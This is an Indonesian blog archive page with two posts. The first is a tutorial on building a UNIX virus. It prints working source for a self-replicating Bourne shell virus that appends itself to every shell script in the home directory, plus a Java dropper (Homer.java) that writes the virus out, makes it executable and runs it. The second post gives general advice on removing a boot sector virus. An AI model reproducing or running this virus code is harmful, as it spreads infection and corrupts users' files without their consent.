Tampilkan postingan dengan label Virus Komputer. Tampilkan semua postingan
Tampilkan postingan dengan label Virus Komputer. Tampilkan semua postingan

Rabu, 06 Juni 2012

Virus Java

Dibawah ini diterangkan bagaimana cara membuat virus unix menggunakan java sebagai infector,,langakah-langkah sebagai berikut:


share caranye ngebuat virus buat UNIX melalui perantaraan java
---------------------------------------------------------

Code:
---------------------------------------------------------

#!/bin/sh

#-_

echo "Java is safe, and UNIX viruses do not exist."

for file in `find $HOME -type f -print`

do

case "`sed 1q $file`" in

"#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file

esac

done

2>/dev/null

lalu ngebuat java buat infectornya :

Code:

/* Homer.java by Mark D. LaDue */

/* Copyright (c) 1996 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */

/* This Java application infects your UNIX system with a Bourne shell
script virus, homer.sh. homer.sh is kind enough to announce itself
and inform you that "Java is safe, and UNIX viruses do not exist"
before finding all of the Bourne shell scripts in your home directory,
checking to see if they've already been infected, and infecting
those that are not. homer.sh infects another Bourne shell script
by simply appending a working copy of itself to the end of that shell
script. */ 


import java.io.*;

class Homer {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" + 
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}

Sabtu, 02 Juni 2012

How to Remove your Boot Sector Virus


Remove any important files and shut down the infected computer. You can not begin to remove the virus if it is in the RAM in your computer.

Option 1: Take the drive to a pro. UNPLUG the computer, and all monitors, etc. Remove the HDD (hard disk drive or hard drive) from the infected computer. Be sure to remove all of the static electricity from your self by touching the metal case.
Option 2: use software on CD-rom or floppy (yes, can still download as floppy image) to scan the drive and fix the MBR. Start with the O.S. Install CD. Windows Recovery Console option if is Windows.
To change the Boot Order: Enter BIOS via appropriate startup key for your computer. When the BIOS setup page shows, set the CD or Floppy drive to boot first.
Sources of that software: Find out which company manufactures your HDD and see if they have a utility that will do a Low-Level format. This part is important because it deletes everything from your hard drive so that no one can get it back, including the virus. Some common HDD manufacturers' tools for doing this can be found here.
Run the formatting utility provided by your HDD manufacturer.
If have errors booting the O.S., reinstall your Operating System of choice however you want to.
sumber